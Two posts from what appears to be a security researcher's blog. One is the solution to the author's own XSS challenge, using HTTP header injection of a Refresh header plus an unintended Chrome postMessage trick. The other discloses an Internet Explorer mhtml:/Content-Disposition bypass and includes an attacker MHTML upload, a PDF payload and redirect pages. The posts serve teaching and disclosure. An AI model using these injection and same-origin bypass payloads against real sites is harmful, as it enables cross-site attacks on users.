Friday, March 27, 2020

XSS Challenge Solution - Refresh header


I used my available time to read NoScripts code and discovered an interesting check, which handles a header I either forgot about or never learned. As many people are at home now anyway, I decided to build a short challenge based on that header. This blogpost is about the relevant header, additional information about the header's behavior, the solution and an unintended solution.
In case you only want to see the solution jump to the end of this blogpost.

Challenge Setup


The code fetches the string specified in the URLs hash and passes it to chall.php. The goal was to send a postMessage request originating from the iframe. Additionally, I added X-Frame-Options: DENY, so it is not possible to frame start.php and use JavaScript to change the location of the created frame. This would have allowed to bypass the challenge completely.

File: start.php
<?php
header("X-Frame-Options: DENY");
?>
<!DOCTYPE html>
<body>
<script>
window.addEventListener("message",function(e){
 if (e.source == window.frames[0]){
  alert("YOU WIN!");
 }else

 {
  alert("Nope but nice try");
 }
});
 var challenge = location.hash.substr(1);
 if (challenge.length >0 )
 {
  var hello_user = document.createElement("iframe");
  hello_user.src=`chall.php?header=${challenge}`;
  document.body.appendChild(hello_user);
 }
</script>
<h2>
Welcome to my challenge
</h2>
</body>

Chall.php accepts the HTTP GET variable header. I hacked together a snippet, which parsed the variable and allowed to inject one additional header in the HTTP response.
Additionally I ensured that the HTTP response code is always 201 Created.
This ensured that in case eg. Location: http://example.com is injected, the browser won't load this origin as the response code is 201 Created and therefore the header is ignored.
Note: I used 201 Created as this response code is not overwritten by PHPs Location: header implementation.

File: chall.php
<?php
/*
 * FAKE HTTP header response injection
*/
error_reporting(0);
$headers = preg_replace("/[\r\n]+/","\n",$_GET['header']);
$headers = explode("\n",$headers);
header("X-User: name-" . $headers[0]);
http_response_code(201);
header($headers[1]);
?>
<h1>Hello :)</h1>



The solution - Refresh header


To summarize: the setup required the usage of postMessage via the created iframe, which allowed to inject one additional response header. It is not possible to just inject a Location: header to load an attacker controlled page because of the HTTP/1.1 201 Created response as browsers will ignore the Location header.
The solution is to inject the Refresh: header, which is identical to the meta http-equiv="refresh" redirect many know about. This header is supported in all modern browsers and even works in HTTP/1.1 201 Created responses. The syntax looks like this:

Refresh: <time>; url=<theDomain>

As this header allows to redirect to any page, which is loaded in the frame, it is straightforward to send a postMessage to the top page. My intended solution looked like this:
http://insert-script.com/challenges/challenge1/start.php#abc%0aRefresh:%200;%20URL=data:text/html,%3Cscript%3Etop.postMessage(%22%22,%22*%22)%3C/script%3E

This triggers the following HTTP response in chall.php:
x-user: name-abc
refresh: 0; URL=data:text/html,<script>top.postMessage("","*")</script>

This will immediately load the HTML structure specified via the data: protocol handler in the iframe, which will send a message to start.php therefore solving the challenge. In case you want to learn more about the Refresh: header - I suggest reading the blogpost of otsukare back in 2015: http://www.otsukare.info/2015/03/26/refresh-http-header

Additional notes about the solution


Many submitted solutions redirected the iframe to a custom domain. But it is possible to use the data: protocol handler, as the Refresh: header is injected in the context of an iframe. It is not possible to redirect to the data: protocol handler in top level navigations, similar to the Location: header.

One additional discovery was the possibility to shorten the solution. I assumed it is necessary to specify the url= part in the Refresh header. But this is not necessary:
start.php#abc%0aRefresh: 0;data:text/html,<script>top.postMessage("","*")</script>

You can see it in action via the meta tag as well:
https://jsfiddle.net/wL3kun9z/


The unintended solution - Chrome/Safari only


Let's have a look at the winning condition again:
window.addEventListener("message",function(e){
if (e.source == window.frames[0]){
alert("YOU WIN!");
}
[...]
var challenge = location.hash.substr(1);
if (challenge.length >0 ) {
/* actually do stuff */
When start.php is opened without any data in location hash it does not create an iframe. As no frame is created window.frames[0] is returning undefined. I assumed this is not a problem as the source property of a postmessage event will never be undefined or null (Note: null == undefined // true).

Michał Bentkowski (SecurityMB) discovered that it is possible in Google Chrome to use postMessage in such a way that the source property is set to null. As null == undefined returns true, the winning condition is fulfilled, and the alert is shown.
His solution requires a click as the challenge sites needs to be opened in a new window (script triggered popups are blocked by the standard popup blocker).
It is possible to test the solution: https://jsfiddle.net/7dfmr4ca/

<!DOCTYPE html>
<a href=javascript:solve()>CLICK ME<br>
  <span id=ifr>
    <iframe></iframe>
  </span>

<script>
function sleep(ms) {
  return new Promise(r => setTimeout(r, ms));
}
  
async function solve() {
  let win = window.win = window.open('http://insert-script.com/challenges/challenge1/start.php', '_blank', 'width=500,height=500');
  
  await sleep(2000);
  
  // Send postMessage from the iframe
  frames[0].eval("parent.win.postMessage(0xdeadbeef,'*')");
  
  // Delete the old iframe
  // now e.source is null
  ifr.innerHTML = 'aaabcd';
}
     
</script>

Lets check the solution step by step:
1) The HTML contains an empty iframe, which is used later on.
2) As soon as the function solve() is triggered, the challenge is opened in a new window and the code will wait for 2 seconds. This is solely to ensure that the challenge site is properly loaded.
3) frames[0].eval is used to send a postMessage message originating from the iframe to the challenge popup window.
4) Immediately afterwards ifr.innerHTML = 'aaabcd' is used to destroy the iframe.
5) The popup receives the postMessage event but as the source (eg the iframe) is already destroyed, the events source is set to null. Therefore the winning condition is fulfilled.

This does not work in Mozilla Firefox as it correctly sets the events source property despite the origin, the iframe, being already destroyed.

I want to thank everybody who participated in the challenge. I learned a lot and therefore I can only suggest everybody to create this kind of challenges as well.
The solutions people discover are really interesting :)


Sunday, January 26, 2020

Internet Explorer mhtml: - Why you should always store user file uploads on another domain


This blogpost is about an issue I discovered some years ago in Internet Explorer. Given that it requires that ActiveX plugins like Adobe PDF or Flash are installed in IE, I feel fine to share it.

The issue is a combination of the old mhtml: protocol handler and the Content-Disposition: attachment header.
I try to keep this blogpost short but I am aware that .MHT and mhtml: are not that well known so I am going to explain it really quickly. In case you are familiar with this feature, you can skip to the end of this blog post.


MHT/MHTML - MIME Encapsulation of Aggregate HTML Documents


For those who have never saved a complete web page in Internet Explorer, mhtml or its extensions .mht is most likely unknown. MHTML stands for MIME Encapsulation of Aggregate HTML Documents. Wikipedia describes it as a "web page archive format used to combine in a single document the HTML code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".


Filename: test.mht
Content-Type: multipart/related;  
type="text/html";  
boundary="----=_NextPart_000_0015_01D57001.44159140"

This is a multi-part message in MIME format.  
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location: test.html

<HTML>
<body>
<h1>32</h1>
</body>
</html>
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location: test2.html

<HTML>
<body>
<h1>test2.html</h1>
</body>
</html>
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: base64
Content-Location: base64.html

PGgxPmJhc2U2NDwvaDE+
------=_NextPart_000_0015_01D57001.44159140-- 


You can save this structure with a .mht file extension and open it in Internet Explorer. It will render the file and show <h1>32</h1> as it is the first part of the structure
To be able to reference a specific file inside this structure, the mhtml: protocol handler must be used. 

MHTML: Protocol handler 

The general structure of the mhtml: protocol handler looks like this:
mhtml:*Path to MHT file*!*Content-Location name*

Let's assume the example structure shown before is hosted on the following URL:
http://example.com/test.mht


In case the test2.html part of the structure has to be loaded, the full URL must look like this:
mhtml:http://example.com/test.mht!test2.html

This tells IE to render the content of this location:
<h1>test2.html</h1>

In case the base64.html file gets referenced, IE will base64 decode the content before it is rendered. This behavior is controlled via the Content-Transfer-Encoding header.
mhtml:http://example.com/test.mht!base64.html
Base64 decoded HTML structure:
<h1>base64</h1>

These examples only showcased HTML files but the MHTML file structure allows to store any other type of file as well.
It must be noted that in case you want to test these examples, you have to serve the MHT file with the following type. The reason for this necessity will be explained in the next chapter:
Content-Type: message/rfc822

The past and the fix


In the past Internet Explorers mhtml: protocol handler implementation did not enforce strict parsing rules.
This behavior was abused in multiple ways. Developer could use it as a fallback for IE versions, which did not support the data: protocol handler. Attacker abused it to attack websites and introduce XSS vulnerabilities or implemented other attack vectors. The following list is a just short glimpse into the ways the mhtml: protocol handler was abused:

http://www.phpied.com/mhtml-when-you-need-data-uris-in-ie7-and-under/#comment-74091


https://lcamtuf.blogspot.com/2011/03/note-on-mhtml-vulnerability.html


In the end Microsoft deployed a fix, which requires that any MHTML file is served with a Content-Type: message/rfc822 or the mhtml: lookup will no longer work.

Honorable mention:
In 2017 mhtml was abused once again - to trigger a universal XSS vulnerability in Chrome: https://github.com/Bo0oM/CVE-2017-5124

The Bug:  MHTML vs Content-Disposition


I discovered that Internet Explorer will ignore the requirement of the correctly set Content-Type header for MHTML files as soon as a Content-Disposition: attachment header is present in a HTTP response. This is not immediately exploitable. Although it is possible to use mhtml: and load a specific resource inside the structure, IE will still trigger a download.
To bypass this restriction and actually parse the resource in the browser , common Internet Explorer ActiveX plugins like Adobe Flash/PDF can be used.
Internet Explorer allows to enforce the rendering of resources via installed ActiveX plugins by using the embed or object tag, which allow to specify the corresponding content type. This behavior does not only allow to interpret the resource as a MHT file and load a resource (eg flash) but no download is triggered. Most importantly the loaded resource is considered in the origin http://example.com/ as mhtml: is not considered as a part of the Same Origin Policy (*Notes about SOP at the end of this post*):
<embed src="mhtml:http://example.com/test.mht!test.swf" type="application/x-shockwave-flash" />

But this behavior has another side effect, which helps an attacker. IE does not only ignore the Content-Type requirement, it will ignore any other security headers. The most common one used to prevent this attack would be X-Frame-Options: deny, which disallows loading the resource in an iframe, embed, object or frame tag.

Theoretical real world example:

Let's assume example.com has to serve user uploaded files on its own origin, which can be accessed by any authenticated users. It sets the following HTTP headers for these resources to ensure they are never rendered as active content inside the browser.
It does not only enforce a download but it is disallowing framing the resource (X-Frame-Options), sets a fixed and safe type (Content-Type) and disables content type sniffing (X-Content-Type-Options):

<?php
header("Content-Type: text/plain");
header('Content-Disposition: attachment; filename="test.txt"');
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: deny");
echo file_get_contents("userfile.tmp"); // contains the user controlled content
?>

At first an attacker has to upload a MHTML file to example.com - the following example contains a hello world PDF file, but it can be modified to contain a flash file as well. Let's assume it is stored at http://example.com/user/123/download.php?id=3:

Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_0000_01D56FF0.D41CF780"

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01D56FF0.D41CF780
Content-Type: application/pdf;
 charset="Windows-1252"
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf

JVBERi0xLjEKMSAwIG9iago8PAolCS9UeXBlIC9DYXRhbG9nCgkvUGFnZXMgMiAwIFIKICAgIC9B
Y3JvRm9ybSA1IDAgUgogICAgL09wZW5BY3Rpb24gMTIzIDAgUgo+PgplbmRvYmoKMTIzIDAgb2Jq
Cjw8Ci9UeXBlIC9BY3Rpb24KL1MgL0phdmFTY3JpcHQKL0pTIChhcHAuYWxlcnQoVVJMKSkKPj4K
MiAwIG9iago8PAoJL1R5cGUgL1BhZ2VzCgkvQ291bnQgMQoJL0tpZHMgWyAzIDAgUiBdCj4+CmVu
ZG9iagozIDAgb2JqCjw8CgkvVHlwZSAvUGFnZQoJL0NvbnRlbnRzIDQgMCBSCgkvUGFyZW50IDIg
MCBSCgkvUmVzb3VyY2VzIDw8CgkJL0ZvbnQgPDwKCQkJL0YxIDw8CgkJCQkvVHlwZSAvRm9udAoJ
CQkJL1N1YnR5cGUgL1R5cGUxCgkJCQkvQmFzZUZvbnQgL0FyaWFsCgkJCT4+CgkJPj4KCT4+Cj4+
CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggNDc+PgpzdHJlYW0KQlQKL0YxIDEwMApUZiAxIDEg
MSAxIDEgMApUcihIZWxsbyBXb3JsZCEpVGoKRVQKZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8
IC9EQSAoL0hlbHYgMCBUZiAwIGcgKSA+PgplbmRvYmoKCnRyYWlsZXIKPDwKCS9Sb290IDEgMCBS
Cj4+CiUlRU9GCiUgYSBuYWl2ZSBQREYgKGZvciBwZGYuanMpIHdpdGggbW9yZSBlbGVtZW50cyB0
aGFuIHVzdWFsbHkgcmVxdWlyZWQKJSBBbmdlIEFsYmVydGluaSwgQlNEIGxpY2VuY2UgMjAxMg==
------=_NextPart_000_0000_01D56FF0.D41CF780--


Now an attacker has to lure an authenticated user of example.com to his own domain eg. attacker.com, which contains the following HTML structure.
Note: The HTML structure does not directly specify the mhtml: protocol handler, because this will trigger Windows Defender in IE - so a HTTP redirect has to be used (yeah annoying).

http://attacker.com/test.html
<h1> MHTML protocol test case 2 </h1>
<embed src="redir.php" type="application/pdf" height="500" width="500"/>

redir.php
header("Location: mhtml:http://example.com/user/123/download.php?id=3!abcd.pdf");

HTTP response
HTTP/1.1 200 OK
Date: Sat, 25 Jan 2020 00:27:39 GMT
Server: Apache/2.4.37 (Debian)
Content-Disposition: attachment; filename="test.txt"
X-Content-Type-Options: nosniff
X-Frame-Options: deny
Content-Length: 1269
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8

Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_0000_01D56FF0.D41CF780"

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01D56FF0.D41CF780
Content-Type: application/pdf;
 charset="Windows-1252"
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf

JVBERi0xLjEKMSAwIG9iago8PAolCS9UeXBlIC9DYXRhbG9nCgkvUGFnZXMgMiAwIFIKICAgIC9B
Y3JvRm9ybSA1IDAgUgogICAgL09wZW5BY3Rpb24gMTIzIDAgUgo+PgplbmRvYmoKMTIzIDAgb2Jq
Cjw8Ci9UeXBlIC9BY3Rpb24KL1MgL0phdmFTY3JpcHQKL0pTIChhcHAuYWxlcnQoVVJMKSkKPj4K
MiAwIG9iago8PAoJL1R5cGUgL1BhZ2VzCgkvQ291bnQgMQoJL0tpZHMgWyAzIDAgUiBdCj4+CmVu
ZG9iagozIDAgb2JqCjw8CgkvVHlwZSAvUGFnZQoJL0NvbnRlbnRzIDQgMCBSCgkvUGFyZW50IDIg
MCBSCgkvUmVzb3VyY2VzIDw8CgkJL0ZvbnQgPDwKCQkJL0YxIDw8CgkJCQkvVHlwZSAvRm9udAoJ
CQkJL1N1YnR5cGUgL1R5cGUxCgkJCQkvQmFzZUZvbnQgL0FyaWFsCgkJCT4+CgkJPj4KCT4+Cj4+
CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggNDc+PgpzdHJlYW0KQlQKL0YxIDEwMApUZiAxIDEg
MSAxIDEgMApUcihIZWxsbyBXb3JsZCEpVGoKRVQKZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8
IC9EQSAoL0hlbHYgMCBUZiAwIGcgKSA+PgplbmRvYmoKCnRyYWlsZXIKPDwKCS9Sb290IDEgMCBS
Cj4+CiUlRU9GCiUgYSBuYWl2ZSBQREYgKGZvciBwZGYuanMpIHdpdGggbW9yZSBlbGVtZW50cyB0
aGFuIHVzdWFsbHkgcmVxdWlyZWQKJSBBbmdlIEFsYmVydGluaSwgQlNEIGxpY2VuY2UgMjAxMg==
------=_NextPart_000_0000_01D56FF0.D41CF780--

Despite all the headers set by example.com, Internet Explorer will render the PDF and show "Hello World". By loading a malicious flash instead of a PDF file, it is possible to interact with example.com in the context of the victim viewing attacker.com, as the rendered resource is still operating in the example.com origin. It must be mentioned that while re-testing this issue, I was only able to reproduce this SOP behavior for flash files but not for PDF files. Adobe Reader would ask me to allow an emtpy (' ') origin to access example.com.